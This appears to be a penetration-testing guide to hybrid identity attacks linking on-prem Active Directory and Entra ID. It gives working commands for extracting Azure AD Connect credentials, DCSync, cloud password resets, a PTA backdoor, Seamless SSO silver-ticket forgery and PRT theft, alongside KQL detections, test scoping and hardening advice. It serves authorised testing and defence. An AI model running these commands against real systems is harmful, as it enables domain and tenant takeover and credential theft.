Hybrid Identity Attacks
Most enterprises connect on-prem Active Directory to Entra ID (Azure AD) using hybrid identity solutions. Azure AD Connect, Pass-Through Authentication, Seamless SSO, and Primary Refresh Tokens create new attack paths between on-prem and cloud — compromising one side often gives access to the other. This is the #1 modern gap in internal pentest methodology.
Danger
Quick Navigation
Azure AD Connect
Defense
Why Hybrid Identity Is the #1 Attack Gap
- On-Prem → Cloud: Azure AD Connect servers store cleartext cloud admin credentials — compromising one gives Global Admin in the tenant.
- Cloud → On-Prem: Cloud-only Global Admins can DCSync on-prem AD via the AD Connect sync account.
- Invisible Backdoors: PTA agent backdoors allow authentication as ANY user without leaving traditional logs.
- Universal Deployment: 90%+ of enterprise M365 tenants use Azure AD Connect — this attack surface exists in almost every engagement.
Azure AD Connect Architecture
Azure AD Connect synchronizes identities between on-prem AD and Entra ID. It creates two critical service accounts:
| Account | Where | Privileges | Impact |
|---|---|---|---|
| MSOL_* / AAD_* | On-Prem AD | Replicating Directory Changes (DCSync) | Full AD compromise via DCSync |
| Sync_*@tenant.onmicrosoft.com | Entra ID | Directory Synchronization / Global Admin equivalent | Cloud tenant takeover, password reset any user |
Extracting Azure AD Connect Credentials
AADInternals (PowerShell)
# Must run on the Azure AD Connect server as local admin
Import-Module AADInternals
# Extract sync credentials (MSOL_ and cloud connector account)
Get-AADIntSyncCredentials
# Use the MSOL account for DCSync
secretsdump.py 'corp.local/MSOL_abc123def456:<password>@dc01.corp.local'
# Use the cloud sync account for tenant access
Connect-AzureAD -Credential (Get-Credential)
# Login as Sync_SERVER_abc123@contoso.onmicrosoft.comInformation
Get-AADIntSyncCredentials returns cleartext credentials for both the on-prem MSOL_ sync
account (DCSync rights) and the cloud Sync_ connector account (can reset any cloud user's password).
Manual Database Extraction
# Azure AD Connect stores credentials in a LocalDB or SQL database
# Default path: C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf
# Using adconnectdump (from Fox-IT/dirkjanm)
python3 adconnectdump.py corp.local/admin:Password1@aadconnect-server
# From a remote machine with network access to the AAD Connect server
python3 adconnectdump.py corp.local/admin:Password1@aadconnect-server \
-outputfile aadconnect_creds.txt
# If DPAPI-protected, use the machine key to decrypt
# dpapi.py can extract the key from the machine certificatesSync Account Abuse
# On-prem: MSOL_ account has DCSync rights
# DCSync all hashes
secretsdump.py 'corp.local/MSOL_abc123def456:<password>@dc01.corp.local' \
-just-dc
# Cloud: Sync account can reset passwords and set passwords
# Reset any cloud user's password
Import-Module AADInternals
$token = Get-AADIntAccessTokenForAADGraph -Credentials $cred
Set-AADIntUserPassword -AccessToken $token \
-SourceAnchor "<base64-objectGUID>" \
-Password "NewPassword123!" -Verbose
# Or set password directly by UPN
Reset-AADIntServicePassword -AccessToken $token \
-UserPrincipalName "globaladmin@contoso.com"Warning
Pass-Through Authentication (PTA) Backdoor
PTA agents validate cloud authentication requests against on-prem AD. If you compromise a PTA agent server, you can install a backdoor that accepts any password for any user — providing invisible authentication bypass to the entire cloud tenant. A rogue PTA agent can also be registered from any machine you control.
# Install PTA backdoor (on PTA agent server, as local admin)
Import-Module AADInternals
Install-AADIntPTASpy
# View intercepted credentials (logs real passwords)
Get-AADIntPTASpyLog
# Remove the backdoor
Remove-AADIntPTASpy
# Register a rogue PTA agent from any machine
Register-AADIntPTAAgent -MachineName "YOURPC" -FileName "PTA-cert.pfx"Information
Seamless SSO Silver Ticket
Seamless SSO creates a computer account AZUREADSSOACC in on-prem AD. Its Kerberos decryption key
is shared with Entra ID to validate Kerberos tickets. If you extract this key, you can forge silver tickets
to authenticate as any synced user to Azure/M365 without knowing their password.
# Step 1: Extract AZUREADSSOACC password hash (requires DCSync or DA)
secretsdump.py 'corp.local/admin:Password1@dc01.corp.local' \
-just-dc-user 'AZUREADSSOACC$'
# Step 2: Forge Silver Ticket for any user
# SPN: HTTP/autologon.microsoftazuread-sso.com
ticketer.py -nthash <AZUREADSSOACC-hash> \
-domain-sid S-1-5-21-domain \
-domain corp.local \
-spn HTTP/autologon.microsoftazuread-sso.com \
-user-id <target-user-objectSid-RID> \
admin@corp.local
# Step 3: Use the ticket to get Azure access token
# Submit the Kerberos ticket to the SSO endpoint
# AADInternals automates this:
Import-Module AADInternals
$kerberos = New-AADIntKerberosTicket -SidString "S-1-5-21-...-1234" \
-Hash "<AZUREADSSOACC-hash>"
$at = Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos \
-Domain corp.local
# $at is now a valid Azure access token for that userWarning
Update-AzureADSSOForest.
Primary Refresh Token (PRT) Theft
The Primary Refresh Token is a long-lived token issued to Azure AD joined or hybrid-joined devices. It provides SSO to all Azure/M365 services and satisfies the "device is compliant" Conditional Access check. Stealing a PRT gives full access to a user's cloud resources with device compliance bypass.
# Check PRT status on a device
dsregcmd /status
# Look for: AzureAdPrt: YES
# Method 1: ROADtools — extract PRT via browser cookie (requires user session)
# Uses the BrowserCore.exe helper to get PRT cookie
roadtx prt --username user@contoso.com
# Method 2: Mimikatz — extract PRT from CloudAP plugin
sekurlsa::cloudap
# Extracts ProofOfPossessionCookie (PRT)
# Requires SYSTEM + user session
# Method 3: RequestSecurityToken via ROADtoken
# Registers a new device and gets a PRT
roadtx auth -u user@contoso.com -p Password1
roadtx device -a register -n "Rogue Device"
roadtx prt -a request
# Use stolen PRT to get access tokens
roadtx prt -a access -r https://graph.microsoft.com
# Pass PRT cookie in browser (x-ms-RefreshTokenCredential header)
# Use with browser extensions or mitmproxy to inject the PRT cookiePassword Hash Sync (PHS) Abuse
With PHS, password hashes are synced from on-prem AD to the cloud. The Azure AD Connect server has access to all password hashes. The MSOL_ sync account can perform DCSync to extract all on-prem hashes.
# Extract cloud-synced hashes (requires Sync account credentials)
Import-Module AADInternals
$token = Get-AADIntAccessTokenForAADGraph -Credentials $cred
Get-AADIntSyncObjects -AccessToken $token -Type User |
Select-Object UserPrincipalName, SourceAnchor, CloudAnchor
# Extract the synchronization encryption key
Get-AADIntSyncEncryptionKeyDetection & Blue Team
| Attack | Detection Source | Indicator |
|---|---|---|
| AAD Connect credential theft | Windows Security Log | Suspicious logon to AAD Connect server, database access |
| PTA backdoor | Entra ID Audit Logs | New PTA agent registration, authentication from unexpected IPs |
| Seamless SSO ticket | Entra ID Sign-In Logs | SSO authentication from unexpected networks or devices |
| PRT theft | Entra ID + Endpoint | PRT usage from non-registered device, anomalous location |
| Sync account password reset | Entra ID Audit Logs | Password change by Sync_ account — should never happen outside maintenance |
// KQL — Detect new PTA agent registrations
AuditLogs
| where OperationName == "Register connector"
| where ActivityDisplayName has "PassThroughAuthentication"
| project TimeGenerated, InitiatedBy, TargetResources, ResultDescription
// KQL — Detect Sync account suspicious activity
SigninLogs
| where UserPrincipalName startswith "Sync_"
| where AppDisplayName != "Azure Active Directory Connect"
| project TimeGenerated, UserPrincipalName, AppDisplayName, IPAddress
// KQL — Detect AZUREADSSOACC Kerberos ticket forgery
// Monitor for SSO logins from unexpected IP ranges
SigninLogs
| where AuthenticationDetails has "seamlessSSO"
| where IPAddress !in (expected_corporate_ranges)
| project TimeGenerated, UserPrincipalName, IPAddress, DeviceDetailEvidence Collection
The credential: The sync account you recovered, the method (AADInternals, adconnectdump) and where the secret lived — LocalDB, the configuration, DPAPI.
The tenant action: What the account let you do in Entra ID: one directory read, one password reset, one role assignment — with the audit-log entry it produced.
The on-prem action: For the MSOL_ path, the DCSync or directory read it enabled, and the 4662 that records it.
The persistence: If a PTA agent or SSO key was used, the object you created or modified and the rotation the client must perform.
CVSS range: AD Connect credential extraction: 8.8–9.8, because it is both a domain and a tenant compromise · PTA backdoor: 9.8 · PRT theft: 8.1.
False Positive Identification
- A sync account doing sync work: The connector authenticates constantly. The signal is the account used for something other than the sync service — a password reset or a Graph call from elsewhere.
- A Seamless SSO sign-in: Seamless SSO is the feature. It becomes a finding when the ticket’s SID does not match the account that requested it, or the source is outside the corporate range.
- A PRT on a compliant device: Every Entra-joined device holds one. The tell is PRT use from a device that is not registered, or a device registration you created.
- A password-hash-sync event: PHS events are routine. Reading the sync encryption key is not.
- A new PTA agent during a deployment: Agents are registered during planned changes. Check the change window and the registering account before calling it a backdoor.
- A Global Admin doing Global Admin things: Establish the baseline of who holds which role. The finding is an unexpected holder, not the role existing.
Testing Checklist
Confirm both scopes
- ☐ Confirm the engagement covers the tenant as well as on-prem AD
- ☐ Identify the AD Connect server and whether it is Tier 0 in the client’s model
- ☐ Agree in advance who resets credentials, and how cloud changes are reverted
- ☐ Record the SSO key rotation the client will need if you use AZUREADSSOACC
Prove the boundary crossing
- ☐ Extract the sync credentials and record which account holds which rights
- ☐ Use one right on each side: a directory read on-prem, a directory read in the tenant
- ☐ For PTA, prefer the read-only log over an authentication bypass unless the objective needs it
- ☐ For PRT, record the device registration you created and remove it
Remediation & Hardening
Protect the connector
- • Treat AD Connect servers as Tier 0 assets: restrict admin access, require MFA, monitor every logon
- • Do not co-host the connector on a general-purpose server or a domain controller
- • Rotate the AZUREADSSOACC key every 30 days with
Update-AzureADSSOForest
Watch the cloud side
- • Alert on new PTA agent registrations — they should only happen during planned deployments
- • Alert on Sync_ account activity outside the sync service, and on password resets by that account
- • Review Global Admin and hybrid-identity role holders quarterly, including cloud-only accounts
- • Convert the sync account to a gMSA or the modern least-privilege connector account where the platform allows
Reduce the exposure
- • Where possible, move to cloud-managed authentication (FIDO2, passkeys) to remove the on-prem authentication path
- • Restrict PRT-bearing devices to compliant, registered hardware, and enable token protection for high-value apps
- • Treat any on-prem domain compromise as a tenant compromise until the connector credentials are rotated